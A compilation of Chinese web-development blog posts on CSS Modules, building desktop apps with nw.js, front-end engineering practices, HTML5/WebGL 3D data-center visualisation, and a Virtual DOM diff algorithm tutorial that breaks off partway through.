  composes: sans light paragraph-line-height from "./typography.css";
}

我对这种技术非常感兴趣，我觉得，它混合了像 Tachyons 类似的 CSS 原子技术，像 Semantic UI 那样变量分离可读的好处（译者注：就是说 CSS 模块的命名简单易懂，组件复用方便）。

但是 CSS 模块化之路仅仅是刚刚开始，未来我们希望大家能尝试更多为它写出谱写出新的篇章。

翻滚吧！CSS 模块！

我们希望 CSS 模块化能有助于你和你的团队在你们现有的 CSS 和产品的基础上维护代码，让它变得更舒适更高效。我们已经接近可能的把额外的语法减少到最少，并尽量确保语法和现有的变化不大。我们有 Webpack， JSPM 和 Browserify 的示例代码，如果你们使用它们中的其中之一，你们可以参考一二。当然我们也在为 CSS 模块话的使用寻找新的环境：服务端 NodeJS 的支持正在进行，Rails 的支持已经提上议程准备进行了。

但是为了让它变得更简单，我在 Plunker 上制作了一个预览示例，你不用安装任何东西就可以运行它：



这里是 CSS 模块的 Github 仓库地址，如果你有任何问题，请开 issue 提出。CSS 模块团队还很小，我们还没有看到一些有用的例子，欢迎你们给我们投稿。

最后的最后，祝大家开心写样式，幸福每一天！


 轻量级桌面应用开发的捷径——nw.js

作者：selfboot

来源： 轻量级桌面应用开发的捷径——nw.js



                    
博客地址

每个程序员都希望用自己喜欢的语言，自己喜欢的平台、工具，写自己喜欢的程序。于是我们会看到有人在Win下用Visual Studio愉快地coding，也会看到有人在OS X下用Xcode来开发，或者是用Sublime Text不受平台限制地玩。

当然了，愿望往往是美好的，然而事与愿违的情况时有发生。如果你基本都是用OS X，却有人让你写一个带有简单界面的小程序，保证在他的Win系统上一定可以运行，那么你是不是有点抓狂。



选择哪条路？

当然，我可以在Visual Studio（已经有Mac OS X版）下用MFC或者其他框架来写，但是总感觉有点重量级，并且不能移植到其他平台（万一哪天让我写个OS X下的界面呢，想想都不寒而栗啊！）

所以我想找的就是一个可以跨平台的、轻量级的图形界面开发的库，于是想到了喜欢的Python，然后发现它下面的GUI开发框架还真不少：wxPython, tkInter, PyGtk, PyQt。


	wxPython: 首先官网相当简洁（丑陋），然后快速浏览了一下文档，发现有这块：Cross-Platform Development Tips，告诉你跨平台要注意哪些东东，看来不是我心中想的那样只需要写一份代码，在不同平台编译一下就可以，于是放弃。


	TkInter: 也在其他地方看到有人推荐这个，但是感觉文档特别乱，网上一些教程也相当简陋，里面界面丑的掉渣，也放弃了。




后面两个我甚至都没耐心继续看下去了，因为我不经意看到了nw.js，他就像一座灯塔，冥冥之中照亮了前进的方向啊。

nwjs——前进的方向！

Github上nw.js有两万多Star和接近3000的Fork，说明它已经相当成熟，不会是某个人随兴放的一个并不成熟的技术。并且在Github项目的最后面，显示Intel有赞助这个项目，看起来很牛的样子。而且关于nw.js的资料也特别齐全，首先来看看它的特点：


	支持用HTML5, CSS3, JS和WebGL来写应用程序，包括桌面端和移动端；


	完全支持Node.js APIs和所有的第三方模块；


	性能也不会很差，对于轻量级的应用足够了；


	对应用进行打包和发布十分简单，也就是说写一份代码很容易移植到不同的平台（包括主流的Linux, Mac OS X 和 Windows）；




然后作者怕你认为它很难打交道，进而“知难而退”，就在项目主页里用许多slides来介绍它。


	Introduction to node-webkit (slides)


	WebApp to DesktopApp with node-webkit (slides)




下面这张slide解决了“nw.js能做什么？”的问题，简单来说nw.js就是使HTML, CSS, JavaScript写的原本在浏览器上运行的程序，也可以在桌面端运行。



下面这张slide解决了“怎么用nw.js完成任务？”的问题，



最后，开发者怕你怀疑nw.js的强大，又提供了几个Demo和许多成功的案例来打消我们的顾虑。

nwjs——拿下助攻！

决定用nw.js之后，就开始补充相应的知识啦。首先自己没有怎么去学过JavaScript, HTML, CSS这类web方面的语言，不过想来也不会比C++难。学习的成本也应该比学习MFC, wxPython低很多，并且这些语言太基础、使用场景太多了，所以早晚都得了解一下，干脆借这个机会一边学一边做具体的东西。于是买了《JavaScript DOM编程艺术(第2版)》这本书拿来入门。

讲了这么多，还没说我具体要做什么呢，其实要做的事情特别简单，就是统计一本书的页码中一共有多少个0，1，2，3，4，5，6，7，8，9。关于这个问题，详细看前面的那篇博客：讲得明白，但写的明白吗？。

我要实现的目标很简单，在输入正确的数字时，给出统计结果；输入错误的数字时，则给出错误提示，重置输入框和统计结果。如下：



实现过程相当简单，特别是对于那些做过web开发的，详细过程就不在这里给出了，只提供一个简单的程序逻辑图吧。



源码十分简单，可以在这里找到，结构如下：

 tree
.
├── index.html
├── main.js
├── package.json
└── style.css

0 directories, 4 files


打包到各个平台也有详细的文档。以Win为例，只需要三步即可：


	将所有工程文件，放在一个文件夹下，确保package.json在根目录，然后压缩为.zip格式，并将压缩文件的后缀由.zip改为.nw；


	在nw.js的环境目录下执行copy /b nw.exe+you_nw_name.nw you_app_name.exe （这一步之后，就可以在生成的目录中直接运行you_app_name.exe，它依赖同目录下的一些其他库）；


	用Enigma Virtual Box将you_app_name.exe和依赖的库打包到单个exe文件中，这样我们的应用在没有任何编程环境的win机器上都可以运行。




nwjs——你值得拥有！

不得不提nw.js开发出的应用已经涵盖了许多领域：


	WhatsApp 经典的聊天应用，还有Messenger；


	Powder Player 种子下载，以及视频播放器；


	Boson Editor 代码编辑器，甚至还有一款Markdown编辑器叫Story-writer；


	Leanote Desktop App 类似Evernote的笔记类应用程序；


	Mongo Management Studio 数据库管理应用。




来欣赏一下一些应用的截图吧，不得不说nw.js开发出的应用一点不比原生的丑陋啊。

Mongo Management Studio  


Soundnode App  


看来nw.js赢得了很多青睐，那么还有什么能阻止我们拥抱nw.js呢？。



ps：


	如果有的链接打不开，先检查打开的姿势对不对。


	更多文章见 我的主页





 前端的工程化

作者：老婆婆

来源： 前端的工程化



                    
背景


前端这个职位的诞生也有短短的十年。而在十年之前，我不认识你，那会还叫网页制作，用着一个Adobe非常牛逼的软件叫Dreamweaver。这是一个神奇的软件，绚丽多彩的网页通过它，拖拖拽拽，就这么梦幻般的生成了。网页制作师们，像一群织梦的妇人，心灵手巧，耐苦耐劳，从不抱怨。


直到有一天。


有位妇人（第一位妇人）站出来说：



  我不用Dreamweaver了，它生成的网页垃圾代码太多，而且兼容性问题很多，特别是IE下，制作出来和实际展示完全不一样，修改还麻烦，好坑爹。




第二位妇人也站了出来：



  对！




第三位妇人站了出来：



  说得好！




第四位妇人站了出来：



  我要手写代码！




自此，前端工程师诞生了！


最初的前端开发


网页开始逐步由拖拽生成转变为手写代码，从此，手写HTML，CSS，Javascript，会点PS掌握切图，成为了前端妇人们长期赖以生存的技能。


手写的代码什么样呢？最简单的就是下面这样。


demo.html


html...
<link rel="stylesheet" href="a.css"/>
<link rel="stylesheet" href="b.css"/>
...



<p class="foo">Wish you happy everyday!</p>






a.css


css.foo{
  color: red;
}



这便是最初的前端开发。


缓存


如上的「最简单的手写代码」上线后。


第一次访问：





第二次访问：





会发现，两次css文件的请求有明显区别，不断是大小（Size）、时间（Timeline）和状态（Status）。这便是缓存在作祟。


用户在非首次访问时，速度会更快，花费时间也少。这么看来：



  缓存太好了，不用每次都去服务器下载静态资源，真想把什么都给缓存下来。




直到有一天。


有位妇人（第一位妇人，妇人A）要更新a.css：


css.foo{
  color: blue;
}



更新完上线，老板去访问时，发现.foo的color还是red：



  妇人A你确定更新了么？我这怎么没生效！




妇人A惊呆了：



  老板，要清除缓存，每次更新都得清除缓存呀！不信你问QA。




老板：



  ....




QA：



  ....




这时候第二位妇人（妇人B）站了出来：



  你上线时把a.css换个名字不就行了。改成a1.css，浏览器不就用不到缓存了嘛~ ╮(￣▽￣")╭




妇人B的机智和卖萌彻底征服了妇人A。


合并网络请求


妇人A慢慢开始接触大项目，CSS和JS文件越来越多：


html...
<link rel="stylesheet" href="a.css"/>
<link rel="stylesheet" href="b.css"/>
<link rel="stylesheet" href="c.css"/>
<script type="text/javascript" src="a.js"></script>
<script type="text/javascript" src="b.js"></script>
<script type="text/javascript" src="c.js"></script>
...







老板又来了，找妇人A：



  能不能把你引入的这些css和js合并起来啊，看着上面的网络请求一大坨心里难受啊。




身为处女座的老板，还是懂很多的。


妇人A：



  有啥好处咩~ ヾ(≧▽≦*)o




妇人A被妇人B影响，也开始卖萌起来。


老板：



  好处多多啊，合并静态文件，减少网络请求，大大加快了网页请求速度啊！




于是，妇人A按照老板的要求，把a.css、b.css和c.css合并成all.css，把a.js、b.js和c.js合并成all.js。


压缩静态文件


过了几天，妇人B也找到了妇人A：



  既然你都合并CSS和JS，顺便把它们都压缩下吧。可以减少文件大小，减少网络请求的Size。好事做到底。




妇人A不解：



  为熟么捏~




妇人B：



  因为我萌啊~ （￣ c￣）




听了妇人B的解释，妇人A似乎明白了什么，赶紧去网上找了些压缩工具，把all.css压缩成min.all.css，把all.js压缩成了min.all.js。


工程化


最终由妇人A住到的这个项目的代码变成了这样：


html<link rel="stylesheet" href="min.all.css"/>
<script type="text/javascript" src="min.all.js"></script>



期间经历了



	手写前端代码

	消除缓存影响

	合并网络请求

	压缩静态资源



前端妇人们不再只管写HTML，CSS和JS，还要考虑性能。



前端开发已然成为一个工程化问题。


经历了这么多，妇人A也慢慢觉得自己牛逼起来，却不知道，他的进化之旅才刚刚开始。


 打造最美HTML5 3D机房（第二季）

作者：MonoLog

来源： 打造最美HTML5 3D机房（第二季）



                    
写在前面的前面

现在拍电影、搞真人秀都流行拍续集，哥今天给大家带来的是打造最美3D机房的续集，哥的目标是成为3D机房界的网红。

-------------------------------我是这个系列已经有了第三篇的分割线-------------------------------

前情提要

请脑补画外音 Previously on Monolog……

前阵子写了一篇打造最美html5 3d机房，介绍了如何用html5在网页上创建无插件的精美3d机房场景，收到很多朋友的鼓励，深表感谢。对于索要源代码的朋友，已经尽力邮件回复。由于精力所限，如未能收到的朋友请留言或给我发送邮件：tw-service@servasoft.com。最近项目第二期又要紧锣密鼓地开始了，所以想抓紧把一些新增的内容补充上，进一步完善这个html5 3d机房的呈现效果。

上一篇中主要介绍的是如何从最基础的webgl封装到创建3d物体对象，再通过3d物体对象“搭积木”式的组建整个3d机房场景。这一篇主要介绍一些如何在这个场景上进一步丰富更多的功能和呈现效果，以及实现这些功能在技术上的思路。

首先我们来看看第一季已经实现的纯天然无添加无PS的HTML5 3D机房效果：


已经拿到过代码的朋友应该知道，这一场景是通过一个json文件进行组装和加载，可以很方便地进行修改和维护。在此基础上，这一次我又增加了机柜标签、机柜门、复杂设备、机房走线、人员轨迹等效果，下面我就把第二季的干货一一为大家奉上。

机柜标签

机房中最重要的物理资源——机柜——是机房管理、规划、监控人员最关注的对象之一。对于规模在几十个、上百个甚至上千个机柜的机房，每个机柜必然会进行资产编号，方便检索和管理。这个在多数资产管理系统中，都是最基本的。但是在3d场景中，如何显示这些机柜编号，才能让用户更直观的看到每个机柜的位置呢？

传统的方式是用标签显示资产编号，例如可以用“告警冒泡”那样的方式显示一个文字气泡。不过当机柜产生告警时，两个气泡会有所冲突。而且过多的气泡会产生相互遮挡覆盖，有点混乱，比如像这样：


因此我尝试了一种不同的思路：把文字渲染到一个内存图片，“溶解”到机柜的上方贴图中。

想要生成一个内存的图片文字，可以通过下面的函数实现：

    generateAssetImage: function(text){         
        var width=512, height=256;

        var canvas = document.createElement('canvas');
        canvas.width  = width;
        canvas.height = height;

        var ctx = canvas.getContext('2d');        
        ctx.fillStyle='white';
        ctx.fillRect(0,0,width,height);
        
        ctx.font = 150+'px "Microsoft Yahei" bold';
        ctx.fillStyle = 'black';
        ctx.textAlign = 'center';
        ctx.textBaseline = 'middle';
        ctx.fillText(text, width/2,height/2);
        ctx.strokeStyle='black';
        ctx.lineWidth=15;
        ctx.strokeText(text, width/2,height/2);

        return canvas;   
    }

需要留意的是：


	生成的图片宽高数值最好是2的幂，例如128、256、512等，这样在3d中渲染不容易出现闪烁和锯齿。相关原理请查阅google。


	文字绘制尽量居中、充满整个图，不要太小，否则看上去比较奇怪。


	空白处保持透明，不必填充色，方便和机柜本身贴图的“溶解”。


	直接返回canvas对象即可，不必生成图片点阵数组。






生成canvas后，可以这样直接贴图使用：

    var labelCanvas=demo.Default.generateAssetImage(label);
    rack.setStyle('top.m.texture.image', labelCanvas);
    rack.setStyle('top.m.specularmap.image', labelCanvas);

通过上面代码，把贴图作为机柜立方体top面的贴图和反射映射图。这样出来的效果如下：

这样，既不用增加3d对象，也不影响机柜的美观度，关键是看得非常清晰，在大场景中也不干扰用户的视线：


机柜门

上一篇里，由于时间紧迫，也考虑到呈现效率，机柜采用了“双击机柜出现设备”的方案。一个立方体的机柜虽然简单直接，但是没有机柜门，总觉得假了一点，客户也提到了这一点，因此按照机房门的思路，增加一个机柜门，增加双击开门的效果，这个比较简单：

    var rackDoor = new mono.Cube(width, height, 2);
    rackDoor.s({
        'm.type':'phong',
        'm.color': '#A5F1B5',
        'm.ambient': '#A4F4EC',
        'front.m.texture.image': 'images/rack_front_door.png',
        'back.m.texture.image': 'images/rack_door_back.png',
        'm.envmap.image': demo.Default.getEnvmap('envmap1'),
    });
    rackDoor.setParent(rack);
    rackDoor.setPosition(0, 0, depth/2+1); 
    rackDoor.setClient('animation','rotate.right.120');    

上面代码创建了一个薄薄的立方体作为机柜门。设置贴图、颜色等，再设置其parent是机柜。这样，如果拖拽机柜位置，机柜也会跟着移动，简单方便。最后，在设置一下机柜门的动画。通过一个字符串进行定义：rotate.right.120表示动画是“向右侧旋转120度”，在双击的时候触发。


复杂电信设备

第一季里，机柜内的设备，主要用乐服务器来表现，加入了设备弹出、告警等效果。后期根据现场和用户的交流，用户进一步提出要显示机架上需要安装更加复杂的电信设备，包括板卡、板卡的插拔动作、呈现方法等，也就是在机柜上显示一个有多个板卡的设备，双击板卡可以弹出。

要做这个，需要把原来的一个立方体的服务器设备做一个“挖空”处理，变成一个空的设备框的样子。然后再生成一系列的板卡对象，插入这个空框。每个板卡应该由面板+电路板组成，可以用两个立方体进行拼接，添加适当的贴图完成。代码如下：

    var parts=[{
        //card panel
        type: 'cube',
        width: width,
        height: height,
        depth: 1,
        translate: [x, y, z+1],
        rotate: rotate,
        op: '+',
        style:{
            'm.color': color,
            'm.ambient': color,
            'm.texture.image': 'images/gray.png',
            'front.m.texture.image': pic,
            'back.m.texture.image': pic,
        }
    },{
        //card body
        type: 'cube',
        width: 1,
        height: height*0.95,
        depth: depth,
        translate: [x, y, z-depth/2+1],
        rotate: rotate,
        op: '+',
        style:{
            'm.color': color,
            'm.ambient': color,
            'm.texture.image': 'images/gray.png',
            'left.m.texture.image': 'images/card_body.png',
            'right.m.texture.image': 'images/card_body.png',
            'left.m.texture.flipX': true,
            'm.transparent': true,    
        }
    }];
    
    var card=demo.Default.createCombo(parts);
    card.setClient('animation', 'pullOut.z');
    box.add(card);

上面代码可以生成一个板卡对象。循环重复，设置位置，即可生成整个设备。通过设置animation属性，定义板卡动画为“双击拉出”，再次双击推回。效果如下图：





当然，实际项目中，各种结构的电信设备千奇百怪，要通过代码定义是不现实的。所以我们还开发了一个设备编辑器，可以通过拖拽方式快速生成设备结构图。


机房线缆和走线架

除了机柜之外，线缆的连接走向和连接关系是管理员关注的另外一个焦点。机架中的电信设备或服务器设备会通过端口和线缆进行连接，组成一定结构的网络。而线缆的走向在物理上通过肉眼是很难看清晰的。更多线缆会从机柜连出，延伸到屋顶上方或地板下方的隐蔽工程中（例如走线架）固定和布线，用肉眼更无法观察。此时，需要3d机房界面能清晰的显示电缆从端口到走线架再到端口的“端到端”的物理走线，方便管理员了解网络情况和管理。

线缆

线缆，可以用一个空间的path来定义，并设置其贴图：

    var path = demo.Default.create3DPath(json.data);
    var cable=new mono.PathNode(path, 100, 1);
    cable.s({
        'm.type': 'phong',
        'm.specularStrength': 30,
        'm.color': json.color,
        'm.ambient': json.color,         
        'm.texture.image': 'images/flow.jpg',
        'm.texture.repeat': new mono.Vec2(200, 1),
    });
    box.add(cable);

通过json定义的[x, y, z]数组来生成一个path对象，然后用它来生成一个空间的“管子”对象。流动效果可以通过一个动画来修改贴图纹理的offset，让眼睛产生贴图不断“移动”的效果。



走线架

走线架可以通过简单的镂空贴图来模拟，不需要建一个复杂的框架模型，减少对GPU的压力。实际的走线架有很多种，例如下图是一种典型的走线架：





我们通过程序模拟一下：

    var rail=demo.Default.createPathObject(railInfo);
    rail.s({
        'm.texture.image': 'images/rail.png',
        'm.type': 'phong',
        'm.transparent': true,
        'm.color': '#CEECF5',
        'm.ambient': '#CEECF5',
        'aside.m.visible': false,
        'zside.m.visible': false,
        'm.specularStrength': 50,
    });
    rail.setPositionY(263);
    box.add(rail);

最终走线架+线缆的效果如下：


路径规划

在3d场景中，经常需要计算规划并显示一个最优的空间或平面路径，用来指示如何最快、最合理的到达目标，或通过路径显示一个移动物体的轨迹，方便进行监控和分析。例如，客户提出一个实际需求：现场检修人员手持平板进入机房，输入设备id后，直接给出前方走动路径，并进行实时导航引导。

我们可以把这个需求分解为导航路径显示和人员模拟两步。

导航路径

导航线可以通过一个浮在地板上方的path路径来定义。做一个简单的颜色渲染和弯角处理，就可以比较清晰的展示底面的走动路径。

            var path=new mono.Path();
            path.moveTo(object.getPositionX(), object.getPositionZ());
            for(var i=0;i<points.length; i++){
                path.lineTo(points[i][0], points[i][13]);
            }
            path = mono.PathNode.prototype.adjustPath(path, 20);

            var trail=new mono.PathCube(path, 10, 3);
            trail.s({
                'm.type': 'phong',
                'm.specularStrength': 30,
                'm.color': '#298A08',
                'm.ambient': '#298A08',         
                'm.texture.image': 'images/flow.jpg',
                'm.texture.repeat': new mono.Vec2(150, 1),
            });
            trail.setRotationX(Math.PI);
            //trail.setStartCap('plain');
            //trail.setEndCap('plain');
            trail.setPositionY(5);
            trail.setClient('type', 'trail');
            box.add(trail);



拉近后看下细节：


移动轨迹的显示也有很多变化，形状、颜色的变化，空间坐标的变化，都可以产生一些不同的效果。例如下图是另外一个3d车库导航系统的场景：


加载人物模型

接下来，要加载一个人的模型进来，放在路径上。可以在网上找一些3d max做的模型，并转成obj格式的文件，这样就可以方便的导入场景中。Obj通过对应的mtl文件进行定义材质，需要的贴图也需要一并涵盖进来。通过下面几行代码即可完成obj模型的导入：

        var obj='images/worker.obj';
        var mtl='images/worker.mtl';               
            
        var loader = new mono.OBJMTLLoader();
        loader.load(obj, mtl, {'worker': 'images/worker.png',}, function (object) {                                
            box.addByDescendant(object);
        });

效果如下图：


需要留意的是，人的模型不要太大，能把人物轮廓大概渲染清晰即可。例如上面的模型也就几百k，加载和显示几乎瞬间完成，不会产生卡顿。如果加载几十兆上百兆的高清模型，则可能出现卡顿，也会拖慢场景的渲染速度。毕竟我们的主要场景对象是3d机房，对模型选择要有所取舍，千万不要喧宾夺主。

让任务沿着路径移动，可以通过动画进行控制，对path中每一段路线进行平移，连续、反复的播放，即可实现人物的移动效果。


当然这里有一个缺点，人物的移动是僵硬不动的，不能像真实人物一样迈腿一步一步的走路进行移动。如果要做，需要用到骨骼动画等技术，相对复杂一些，目前项目紧急，就留给以后找时间研究了。当然对于3d机房这样的企业应用来说，必要性不一定很大，毕竟不是游戏。

通过这些技术，大家可以轻松构建一个比较完整的3d机房系统，就跟我们这次的项目一样：






后记

篇幅有限，这一篇就介绍这么多，后续找时间会继续给大家介绍如何拖拽移动机柜、显示机房中的温度云图、风向监控、摄像头及视频监控，如何创建一个大的园区和楼宇等内容。成为一个网红的路还很漫长，我会一步一个脚印地走，也希望对大家有所启发和帮助。老规矩，需要相关代码的同学可以发邮件到tw-service@servasoft.com，或留下邮箱，我会尽力回复。谢谢！
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1 前言

本文会在教你怎么用 300~400 行代码实现一个基本的 Virtual DOM 算法，并且尝试尽量把 Virtual DOM 的算法思路阐述清楚。希望在阅读本文后，能让你深入理解 Virtual DOM 算法，给你现有前端的编程提供一些新的思考。

本文所实现的完整代码存放在 Github。

2 对前端应用状态管理的思考

假如现在你需要写一个像下面一样的表格的应用程序，这个表格可以根据不同的字段进行升序或者降序的展示。



这个应用程序看起来很简单，你可以想出好几种不同的方式来写。最容易想到的可能是，在你的 JavaScript 代码里面存储这样的数据：

var sortKey = "new" // 排序的字段，新增（new）、取消（cancel）、净关注（gain）、累积（cumulate）人数
var sortType = 1 // 升序还是逆序
var data = [{...}, {...}, {..}, ..] // 表格数据

用三个字段分别存储当前排序的字段、排序方向、还有表格数据；然后给表格头部加点击事件：当用户点击特定的字段的时候，根据上面几个字段存储的内容来对内容进行排序，然后用 JS 或者 jQuery 操作 DOM，更新页面的排序状态（表头的那几个箭头表示当前排序状态，也需要更新）和表格内容。

这样做会导致的后果就是，随着应用程序越来越复杂，需要在JS里面维护的字段也越来越多，需要监听事件和在事件回调用更新页面的DOM操作也越来越多，应用程序会变得非常难维护。后来人们使用了 MVC、MVP 的架构模式，希望能从代码组织方式来降低维护这种复杂应用程序的难度。但是 MVC 架构没办法减少你所维护的状态，也没有降低状态更新你需要对页面的更新操作（前端来说就是DOM操作），你需要操作的DOM还是需要操作，只是换了个地方。

既然状态改变了要操作相应的DOM元素，为什么不做一个东西可以让视图和状态进行绑定，状态变更了视图自动变更，就不用手动更新页面了。这就是后来人们想出了 MVVM 模式，只要在模版中声明视图组件是和什么状态进行绑定的，双向绑定引擎就会在状态更新的时候自动更新视图（关于MV*模式的内容，可以看这篇介绍）。

MVVM 可以很好的降低我们维护状态 -> 视图的复杂程度（大大减少代码中的视图更新逻辑）。但是这不是唯一的办法，还有一个非常直观的方法，可以大大降低视图更新的操作：一旦状态发生了变化，就用模版引擎重新渲染整个视图，然后用新的视图更换掉旧的视图。就像上面的表格，当用户点击的时候，还是在JS里面更新状态，但是页面更新就不用手动操作 DOM 了，直接把整个表格用模版引擎重新渲染一遍，然后设置一下innerHTML就完事了。

听到这样的做法，经验丰富的你一定第一时间意识这样的做法会导致很多的问题。最大的问题就是这样做会很慢，因为即使一个小小的状态变更都要重新构造整棵 DOM，性价比太低；而且这样做的话，input和textarea的会失去原有的焦点。最后的结论会是：对于局部的小视图的更新，没有问题（Backbone就是这么干的）；但是对于大型视图，如全局应用状态变更的时候，需要更新页面较多局部视图的时候，这样的做法不可取。

但是这里要明白和记住这种做法，因为后面你会发现，其实 Virtual DOM 就是这么做的，只是加了一些特别的步骤来避免了整棵 DOM 树变更。

另外一点需要注意的就是，上面提供的几种方法，其实都在解决同一个问题：维护状态，更新视图。在一般的应用当中，如果能够很好方案来应对这个问题，那么就几乎降低了大部分复杂性。

3 Virtual DOM算法

DOM是很慢的。如果我们把一个简单的div元素的属性都打印出来，你会看到：



而这仅仅是第一层。真正的 DOM 元素非常庞大，这是因为标准就是这么设计的。而且操作它们的时候你要小心翼翼，轻微的触碰可能就会导致页面重排，这可是杀死性能的罪魁祸首。

相对于 DOM 对象，原生的 JavaScript 对象处理起来更快，而且更简单。DOM 树上的结构、属性信息我们都可以很容易地用 JavaScript 对象表示出来：

var element = {
  tagName: 'ul', // 节点标签名
  props: { // DOM的属性，用一个对象存储键值对
    id: 'list'
  },
  children: [ // 该节点的子节点
    {tagName: 'li', props: {class: 'item'}, children: ["Item 1"]},
    {tagName: 'li', props: {class: 'item'}, children: ["Item 2"]},
    {tagName: 'li', props: {class: 'item'}, children: ["Item 3"]},
  ]
}

上面对应的HTML写法是：

<ul id='list'>
  <li class='item'>Item 1</li>
  <li class='item'>Item 2</li>
  <li class='item'>Item 3</li>
</ul>

既然原来 DOM 树的信息都可以用 JavaScript 对象来表示，反过来，你就可以根据这个用 JavaScript 对象表示的树结构来构建一棵真正的DOM树。

之前的章节所说的，状态变更->重新渲染整个视图的方式可以稍微修改一下：用 JavaScript 对象表示 DOM 信息和结构，当状态变更的时候，重新渲染这个 JavaScript 的对象结构。当然这样做其实没什么卵用，因为真正的页面其实没有改变。

但是可以用新渲染的对象树去和旧的树进行对比，记录这两棵树差异。记录下来的不同就是我们需要对页面真正的 DOM 操作，然后把它们应用在真正的 DOM 树上，页面就变更了。这样就可以做到：视图的结构确实是整个全新渲染了，但是最后操作DOM的时候确实只变更有不同的地方。

这就是所谓的 Virtual DOM 算法。包括几个步骤：


	用 JavaScript 对象结构表示 DOM 树的结构；然后用这个树构建一个真正的 DOM 树，插到文档当中


	当状态变更的时候，重新构造一棵新的对象树。然后用新的树和旧的树进行比较，记录两棵树差异


	把2所记录的差异应用到步骤1所构建的真正的DOM树上，视图就更新了




Virtual DOM 本质上就是在 JS 和 DOM 之间做了一个缓存。可以类比 CPU 和硬盘，既然硬盘这么慢，我们就在它们之间加个缓存：既然 DOM 这么慢，我们就在它们 JS 和 DOM 之间加个缓存。CPU（JS）只操作内存（Virtual DOM），最后的时候再把变更写入硬盘（DOM）。

4 算法实现

4.1 步骤一：用JS对象模拟DOM树

用 JavaScript 来表示一个 DOM 节点是很简单的事情，你只需要记录它的节点类型、属性，还有子节点：

element.js

function Element (tagName, props, children) {
  this.tagName = tagName
  this.props = props
  this.children = children
}

module.exports = function (tagName, props, children) {
  return new Element(tagName, props, children)
}

例如上面的 DOM 结构就可以简单的表示：

var el = require('./element')

var ul = el('ul', {id: 'list'}, [
  el('li', {class: 'item'}, ['Item 1']),
  el('li', {class: 'item'}, ['Item 2']),
  el('li', {class: 'item'}, ['Item 3'])
])

现在ul只是一个 JavaScript 对象表示的 DOM 结构，页面上并没有这个结构。我们可以根据这个ul构建真正的<ul>：

Element.prototype.render = function () {
  var el = document.createElement(this.tagName) // 根据tagName构建
  var props = this.props

  for (var propName in props) { // 设置节点的DOM属性
    var propValue = props[propName]
    el.setAttribute(propName, propValue)
  }

  var children = this.children || []

  children.forEach(function (child) {
    var childEl = (child instanceof Element)
      ? child.render() // 如果子节点也是虚拟DOM，递归构建DOM节点
      : document.createTextNode(child) // 如果字符串，只构建文本节点
    el.appendChild(childEl)
  })

  return el
}

render方法会根据tagName构建一个真正的DOM节点，然后设置这个节点的属性，最后递归地把自己的子节点也构建起来。所以只需要：

var ulRoot = ul.render()
document.body.appendChild(ulRoot)

上面的ulRoot是真正的DOM节点，把它塞入文档中，这样body里面就有了真正的<ul>的DOM结构：

<ul id='list'>
  <li class='item'>Item 1</li>
  <li class='item'>Item 2</li>
  <li class='item'>Item 3</li>
</ul>

完整代码可见 element.js。

4.2 步骤二：比较两棵虚拟DOM树的差异

正如你所预料的，比较两棵DOM树的差异是 Virtual DOM 算法最核心的部分，这也是所谓的 Virtual DOM 的 diff 算法。两个树的完全的 diff 算法是一个时间复杂度为 O(n^3) 的问题。但是在前端当中，你很少会跨越层级地移动DOM元素。所以 Virtual DOM 只会对同一个层级的元素进行对比：



上面的div只会和同一层级的div对比，第二层级的只会跟第二层级对比。这样算法复杂度就可以达到 O(n)。

4.2.1 深度优先遍历，记录差异

在实际的代码中，会对新旧两棵树进行一个深度优先的遍历，这样每个节点都会有一个唯一的标记：



在深度优先遍历的时候，每遍历到一个节点就把该节点和新的的树进行对比。如果有差异的话就记录到一个对象里面。


// diff 函数，对比两棵树
function diff (oldTree, newTree) {
  var index = 0 // 当前节点的标志
  var patches = {} // 用来记录每个节点差异的对象
  dfsWalk(oldTree, newTree, index, patches)
  return patches
}

// 对两棵树进行深度优先遍历
function dfsWalk (oldNode, newNode, index, patches) {
  // 对比oldNode和newNode的不同，记录下来
  patches[index] = [...]
  
  diffChildren(oldNode.children, newNode.children, index, patches)
}

// 遍历子节点
function diffChildren (oldChildren, newChildren, index, patches) {
  var leftNode = null
  var currentNodeIndex = index
  oldChildren.forEach(function (child, i) {
    var newChild = newChildren[i]
    currentNodeIndex = (leftNode && leftNode.count) // 计算节点的标识
      ? currentNodeIndex + leftNode.count + 1
      : currentNodeIndex + 1
    dfsWalk(child, newChild, currentNodeIndex, patches) // 深度遍历子节点
    leftNode = child
  })
}


例如，上面的div和新的div有差异，当前的标记是0，那么：

patches[0] = [{difference}, {difference}, ...] // 用数组存储新旧节点的不同

同理p是patches[1]，ul是patches[3]，类推。

4.2.2 差异类型

上面说的节点的差异指的是什么呢？对 DOM 操作可能会：


	替换掉原来的节点，例如把上面的div换成了section


	移动、删除、新增子节点，例如上面div的子节点，把p和ul顺序互换


	修改了节点的属性


	对于文本节点，文本内容可能会改变。例如修改上面的文本节点2内容为Virtual DOM 2。




所以我们定义了几种差异类型：

var REPLACE = 0
var REORDER = 1
var PROPS = 2
var TEXT = 3

对于节点替换，很简单。判断新旧节点的tagName和是不是一样的，如果不一样的说明需要替换掉。如div换成section，就记录下：

patches[0] = [{
  type: REPALCE,
  node: newNode // el('section', props, children)
}]

如果给div新增了属性id为container，就记录下：

patches[0] = [{
  type: REPALCE,
  node: newNode // el('section', props, children)
}, {
  type: PROPS,
  props: {
    id: "container"
  }
}]

如果是文本节点，如上面的文本节点2，就记录下：

patches[2] = [{
  type: TEXT,
  content: "Virtual DOM2"
}]

那如果把我div的子节点重新排序呢？例如p, ul, div的顺序换成了div, p, ul。这个该怎么对比？如果按照同层级进行顺序对比的话，它们都会被替换掉。如p和div的tagName不同，p会被div所替代。最终，三个节点都会被替换，这样DOM开销就非常大。而实际上是不需要替换节点，而只需要经过节点移动就可以达到，我们只需知道怎么进行移动。

这牵涉到两个列表的对比算法，需要另外起一个小节来讨论。

4.2.3 列表对比算法

假设现在可以英文字母唯一地标识每一个子节点：

旧的节点顺序：

a b c d e f g h i

现在对节点进行了删除、插入、移动的操作。新增j节点，删除e节点，移动h节点：

新的节点顺序：

a b c h d f g h i j

现在知道了新旧的顺序，求最小的插入、删除操作（移动可以看成是删除和插入操作的结合）。这个问题抽象出来其实是字符串的最小编辑距离问题（Edition Distance），最常见的解决算法是 Levenshtein Distance，通过动态规划求解，时间复杂度为 O(M * N)。但是我们并不需要真的达到最小的操作，我们只需要优化一些比较常见的移动情况，牺牲一定DOM操作，让算法时间复杂度达到线性的（O(max(M, N))。具体算法细节比较多，这里不累述，有兴趣可以参考代码。

我们能够获取到某个父节点的子节点的操作，就可以记录下来：

patches[0] = [{
  type: REORDER,
  moves: [{remove or insert}, {remove or insert}, ...]
}]

